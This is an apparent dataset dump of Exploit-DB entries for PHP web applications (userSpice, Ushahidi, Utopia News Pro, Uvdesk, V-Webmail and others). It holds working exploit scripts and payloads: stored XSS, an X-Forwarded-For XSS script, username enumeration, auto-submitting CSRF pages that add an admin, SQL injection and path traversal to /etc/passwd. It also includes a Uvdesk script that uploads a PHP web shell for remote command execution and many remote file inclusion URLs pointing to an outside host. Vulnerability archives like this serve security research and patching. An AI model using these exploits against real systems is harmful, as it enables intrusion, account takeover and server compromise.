deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44038
Description: userSpice 4.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-02-14
Author: Dolev Farhi

Exploit:
Application UserSpice PHP user management
Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting
URL https://userspice.com
Date 2.13.2018
Author Dolev Farhi


1. Login with a regular user
2. Navigate to Public profile
3. Edit your bio
4. Enter XSS payload
5. Once anyone visits the Bio page the payload will execute

POST /users/edit_profile.php HTTP/1.1
Host: 192.168.56.2
Content-Length: 59
Cache-Control: max-age=0
Origin: http://192.168.56.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.56.2/users/edit_profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: close

bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=

Vulnerable code: 
<td>
    <h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?>  </a></h4>
    <p><?=$ususerbio?></p>
</td>
Exploit-DB #44871
Description: userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-06-11
Author: Dolev Farhi

Exploit:
# Exploit Title: userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting
# Date: 2018-06-10
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu
# Payload will get executed when admin visits the audit log page

#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "UserSpice 4.3.24 X-Forwarded-For XSS PoC\n";

if ($#ARGV != 0 ) {
	print "usage: $0 <address> \n";
	exit 1;
}

my $server   = $ARGV[0] . "/users/cron/backup.php?from=users/cron_manager.php/";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://' . $server);

print "Enter payload: ";

my $xff = <STDIN>;
chomp $xff;

if ($xff eq "")
{
 print "Empty payload \n";
 exit 1;
}

$req->header('X-Forwarded-For' => $xff);

my $resp = $ua->request($req);
if ($resp->is_success) {
    print "[OK] Sent payload: $xff\n";
    exit 0;
}
else {
    print "[Error]: code: ", $resp->code, $resp->message, "\n";
    exit 1;
}
Exploit-DB #44872
Description: userSpice 4.3.24 - Username Enumeration
Type: webapps
Platform: php
Date: 2018-06-11
Author: Dolev Farhi

Exploit:
# Exploit Title: userSpice 4.3.24 - Username Enumeration
# Date: 2018-06-10
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu

import sys
import os.path
import requests

print("[+] UserSpice 4.3.24 Username Enumeration")

if len(sys.argv) != 3:
	print 'Usage:', sys.argv[0], 'ip.add.re.ss', 'usernames.txt'
	sys.exit(1)

if not os.path.exists(sys.argv[2]):
	print('usernames.txt does not exist')
	sys.exit(1)

headers = {
	'Origin':'http://' + sys.argv[1],
	'X-Requested-With':'XMLHttpRequest'
}

print('Checking usernames...')

f = open(sys.argv[2], 'r')

for user in f:
	user = user.strip()
	req = requests.post('http://'+sys.argv[1]+'/users/parsers/existingUsernameCheck.php', headers=headers ,
		 																				  data={"username":user})
	if 'taken' in req.text:
		print('[FOUND] ' + user)
	else:
		print('[NOT FOUND] ' + user)
Exploit-DB #35819
Description: Ushahidi 2.0.1 - 'range' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-02
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/48100/info

Ushahidi is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Ushahidi 2.0.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/admin/dashboard/?range=1[SQLi]
Exploit-DB #18737
Description: Ushahidi 2.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-13
Author: shpendk

Exploit:
# Exploit Title: Ushahidi 2.2 Multiple Vulnerabilites
# Date: 04/12/2012
# Author: shpendk
# Software Link: http://download.ushahidi.com/
# Version: 2.2
# Tested on: Xampp on Windows
# Vendor Contact: 		03/25/2012
-> Contacted again:		03/28/2012
-> No Response yet:		04/11/2012
-> Full Disclosure:		04/12/2012



1) CSRF Add Admin PoC:

-----------------------------------------------------------------------------------------------------
<html>
<body>
<form action="http://127.0.0.1/admin/users/edit" method="POST">
<input type="hidden" name="name" value="myname">
<input type="hidden" name="email" value="shpendk13@gmail.com">
<input type="hidden" name="role" value="admin">
<input type="hidden" name="username" value="shpendk">
<input type="hidden" name="notify" value="1">
<input type="hidden" name="password" value="letmein">
<input type="hidden" name="password_again" value="letmein">
</form>
<script> document.forms[0].submit(); </script>

</body>
</html>
		
-------------------------------------------------------------------------------------------------------



2) Persistent XSS

------------------------------------------------------------------------------------------------------

	-> Go to http://127.0.0.1/login
	-> Create New User
		-> Enter username: <img/onerror="alert(123)"src=a>
	-> Login as Admin and go to http://127.0.0.1/admin/users
		
------------------------------------------------------------------------------------------------------
Exploit-DB #3794
Description: USP FOSS Distribution 1.01 - 'dnld' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-24
Author: GoLd_M

Exploit:
# USP FOSS Distribution 1.01(download.php dnld)Remote File Disclosure
# D.Script: http://norcalvex.org/pagode/uspfoss_v1_01.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Dork:intitle:USP FOSS Distribution
# V.Code In /user/download.php:
###################/user/download.php###################
#  <?
#  $file = @$_GET['dnld'];<----[+]
#  header('Content-Description: File Transfer');
#  header('Content-Type: application/force-download');
#  header('Content-Length: ' . filesize($file));
#  header('Content-Disposition: attachment; filename=' . basename($file));
#  readfile($file); <----[+]
#  ?>
########################################################
# Exploit:[Path_USP FOSS]/user/download.php?dnld=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & bd0rk

# milw0rm.com [2007-04-24]
Exploit-DB #26328
Description: Utopia News Pro 1.1.3 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-10-07
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15027/info
 
Utopia News Pro is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/footer.php?version=<script>alert(document.cookie)</script>
http://www.example.com/[path]/footer.php?query_count=<script>alert(document.cookie)</script>
Exploit-DB #26327
Description: Utopia News Pro 1.1.3 - 'header.php?sitetitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-07
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15027/info

Utopia News Pro is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[path]/header.php?sitetitle=</title><script>alert(document.cookie)</script><!--
Exploit-DB #18720
Description: Utopia News Pro 1.4.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-04-08
Author: Dr.NaNo

Exploit:
# Exploit Title: Utopia News Pro 1.4.0 <= CSRF Add Admin Vulnerability
# Date: 7/4/2012
# Author: Dr.NaNo
# Software Link: http://www.utopiasoftware.net/newspro/dl.php?filename=newspro140b.zip&mirror=1
# Version: 1.4.0
# Tested on: Linux-Red-Hat
# Google Dork: Powered By Utopia News Pro 1.4.0
#
########################################################
#                      ~ Exploit ~                     #
########################################################
 
<html>
<body>
<form action="http://localhost/{PATh}/upload/users.php" method="post" />
<input type="hidden" name="username" value="NANO" />
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="password" value="102030" />
<input type="hidden" name="password2" value="102030" />
<input type="hidden" name="email" value="security@security.com" />
<input type="submit" name="submitnew" accesskey="s" value="ThankS !" />
</form>
</body>
</html>
 
#### ~ Greetz ~ #########################################################
#                                                                       #
# Dr.WEP , JIKO , ahwak2000 , RENO , ABU NWAF , Dr.HAiL , snc0pe , 020  #
#                                                                       #
# JaBrOt HaCkEr , alkaseer20 , SadHaCkEr , Cyber Code , aircrack -ng    #
#                                                                       #
############################################### ~ All FriendS ~ #########
Exploit-DB #13854
Description: UTStats - Cross-Site Scripting / SQL Injection / Full Path Disclosure
Type: webapps
Platform: php
Date: 2010-06-13
Author: LuM Member

Exploit:
# Exploit Title: UTStats XSS, SQL Injection & Full path disclosure
# Date: 13-06-2010
# Author: LuM Member
# Software Link: http://www.unrealadmin.org/forums/showthread.php?t=29786
# Version: All recent versions.
# Tested on: Windows 7 x64
# CVE : none
# Code :
There are most likely some more bugs in it. I didn't check the code in
detail.
If you check google, you see there are quite some installs.

XSS:
pages/match_report.php?mid=

Sql Injection:
index.php?p=matchp&pid='

Full Path Disclosure:
pages/servers_info.php


Greetings to LuM.
Exploit-DB #51639
Description: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2023-07-31
Author: Daniel Barros

Exploit:
# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 28/07/2023
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security 
# Vendor Homepage: https://www.uvdesk.com
# Software Link: https://github.com/uvdesk/community-skeleton
# Version: 1.1.3
# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami"
# CVE : CVE-2023-39147
# Tested on: Ubuntu 20.04.6


import requests
import argparse

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
    parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
    my_args = parser.parse_args()
    return my_args

def main():
    args = get_args()
    base_url = args.url

    command = args.command
    uploaded_file = "shell.php"
    url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command

# Edit your credentials here
    login_data = {
        "_username": "admin@adm.com",
        "_password": "passwd",
        "_remember_me": "off"
    }

    files = {
        "name": (None, "pwn"),
        "description": (None, "xxt"),
        "visibility": (None, "public"),
        "solutionImage": (uploaded_file, "<?php system($_GET['cmd']); ?>", "image/jpg")
    }

    s = requests.session()
    # Login
    s.post(base_url + "/en/member/login", data=login_data)
    # Upload
    upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files)
    # Execute command
    cmd = s.get(url_cmd)
    print(cmd.text)

if __name__ == "__main__":
    main()
Exploit-DB #34218
Description: V-EVA Classified Script 5.1 - 'classified_img.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/41204/info

V-EVA Classified Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

V-EVA Classified Script 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/classified_img.php?clsid=[SQLI]
Exploit-DB #27245
Description: V-Webmail 1.6.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-17
Author: $um$id

Exploit:
source: https://www.securityfocus.com/bid/16706/info

V-webmail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Specific information regarding affected versions is not currently available; this BID will be updated as further information is disclosed.

The following example URI were provided to demonstrate these issues:

http://www.example.com/preferences.personal.php?newid=[code]

http://www.example.com/frameset.php?vwebmailsession=&rframe=[url]
Exploit-DB #32034
Description: V-Webmail 1.6.4 - '/includes/cachedConfig.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
          
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
          
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/cachedConfig.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32036
Description: V-Webmail 1.6.4 - '/includes/email.list.search.php?CONFIG[includes]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
            
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
            
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/email.list.search.php?CONFIG[includes]=http://www.example2.com
Exploit-DB #32029
Description: V-Webmail 1.6.4 - '/includes/pear/Console/Getopt.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
     
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Console/Getopt.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32032
Description: V-Webmail 1.6.4 - '/includes/pear/File.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
        
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/File.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32031
Description: V-Webmail 1.6.4 - '/includes/pear/Log.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
       
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Log.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32028
Description: V-Webmail 1.6.4 - '/includes/pear/Mail/mimeDecode.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
    
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Mail/mimeDecode.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32024
Description: V-Webmail 1.6.4 - '/includes/pear/Mail/RFC822.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info

V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Mail/RFC822.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32025
Description: V-Webmail 1.6.4 - '/includes/pear/Net/Socket.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
 
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Net/Socket.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32030
Description: V-Webmail 1.6.4 - '/includes/pear/System.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
      
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/System.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32026
Description: V-Webmail 1.6.4 - '/includes/pear/XML/parser.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
  
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/XML/Parser.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32027
Description: V-Webmail 1.6.4 - '/includes/pear/XML/Tree.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
   
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/XML/Tree.php?CONFIG[pear_dir]=http://www.example2.com
Exploit-DB #32035
Description: V-Webmail 1.6.4 - '/includes/prepend.php?CONFIG[includes]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
           
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
           
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/prepend.php?CONFIG[includes]=http://www.example2.com
Exploit-DB #32033
Description: V-Webmail 1.6.4 - '/includes/prepend.php?CONFIG[pear_dir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-10
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/30162/info
         
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/prepend.php?CONFIG[pear_dir]=http://www.example2.com